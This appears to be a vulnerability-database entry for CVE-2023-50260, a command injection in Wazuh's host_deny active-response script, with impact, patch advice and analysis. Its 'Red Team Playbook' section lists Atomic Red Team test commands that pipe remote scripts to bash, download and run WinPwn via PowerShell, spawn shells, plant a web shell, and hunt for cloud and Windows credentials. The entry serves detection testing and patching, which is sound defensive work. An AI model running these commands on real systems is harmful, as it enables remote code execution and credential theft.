CVE-2023-50260
Overview
This vulnerability is a command injection flaw rooted in improper input validation within the 'host_deny' script of Wazuh's active response feature. The script fails to sanitize user-supplied strings before writing to the '/etc/hosts.deny' file, enabling injection of arbitrary commands. The affected component is the active response mechanism, specifically the executable located at '/var/ossec/active-response/bin/host_deny'.
Vulnerability Description
Wazuh is a free and open source platform used for threat prevention, detection, and response. A wrong validation in the `host_deny` script allows to write any string in the `hosts.deny` file, which can end in an arbitrary command execution on the target system. This vulnerability is part of the active response feature, which can automatically triggers actions in response to alerts. By default, active responses are limited to a set of pre defined executables. This is enforced by only allowing executables stored under `/var/ossec/active-response/bin` to be run as an active response. However, the `/var/ossec/active-response/bin/host_deny` can be exploited. `host_deny` is used to add IP address to the `/etc/hosts.deny` file to block incoming connections on a service level by using TCP wrappers. Attacker can inject arbitrary command into the `/etc/hosts.deny` file and execute arbitrary command by using the spawn directive. The active response can be triggered by writing events either to the local `execd` queue on server or to the `ar` queue which forwards the events to agents. So, it can leads to LPE on server as root and RCE on agent as root. This vulnerability is fixed in 4.7.2.
Impact
An attacker with the ability to trigger active responses can execute arbitrary commands as root on the Wazuh server or agent systems, enabling local privilege escalation and remote code execution. This requires the attacker to inject events into the active response queues, which implies some level of authenticated or authorized access to event generation mechanisms. Successful exploitation can lead to full system compromise, data manipulation, or disruption of security monitoring services. The CVSS vector indicates network attack vector with low complexity and limited privileges required (AV:N/AC:L/PR:L/UI:N).
Solution
Upgrade Wazuh to version 4.7.2 or later, where this vulnerability is addressed as detailed in the official GitHub advisory GHSA-mjq2-xf8g-68vw. Follow the vendor's patch instructions to replace the vulnerable 'host_deny' script and validate active response configurations. No alternative workarounds are specified in the advisory.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability within the Wazuh platform arises from improper validation in the `host_deny` script, which is integral to the active response feature. This flaw allows an attacker to manipulate the `hosts.deny` file, leading to arbitrary command execution on the affected system. The `host_deny` script is designed to block incoming connections by adding IP addresses to the `/etc/hosts.deny` file, leveraging TCP wrappers for service-level security. However, due to the lack of stringent input validation, an attacker can inject malicious strings into this file. When the active response feature is triggered, these injected commands can be executed, resulting in significant security breaches.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage the active response mechanism by generating alerts that write to the local `execd` queue or the `ar` queue, which forwards events to agents. By crafting specific events that exploit the flawed validation, the attacker can execute arbitrary commands with root privileges on both the server and the agent. This scenario not only allows for local privilege escalation (LPE) on the server but also remote code execution (RCE) on the agent, creating a pathway for further exploitation and lateral movement within the network.
The real-world impact of this vulnerability is substantial, particularly for organizations that rely on Wazuh for threat detection and response. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, and the potential for a complete system compromise. The ability to execute arbitrary commands as root poses a critical business risk, as it can enable attackers to manipulate system configurations, deploy malware, or exfiltrate confidential information. Organizations may face reputational damage, regulatory penalties, and financial losses as a result of a breach stemming from this vulnerability.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, it is essential to update to the latest version of the Wazuh platform, as the vulnerability has been addressed in version 4.7.2. Regularly applying security patches and updates is a fundamental practice in maintaining a secure environment. Additionally, organizations should conduct thorough security audits and code reviews of custom scripts and configurations to ensure that input validation mechanisms are robust. Monitoring logs for unusual activity related to the `hosts.deny` file and the active response feature can also help identify potential exploitation attempts.
In conclusion, the vulnerability within the Wazuh platform highlights the critical importance of input validation and the potential consequences of its failure. Organizations must remain vigilant in their security practices, ensuring that they are not only aware of existing vulnerabilities but also proactive in their mitigation strategies. By adopting a comprehensive security posture that includes timely updates, rigorous monitoring, and thorough assessments, organizations can significantly reduce the risk associated with such vulnerabilities and protect their assets from malicious actors.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Wazuh | Wazuh | All |
cpe:2.3:a:wazuh:wazuh:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-50260 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/wazuh/wazuh/security/advisories/GHSA-mjq2-xf8g-68vw |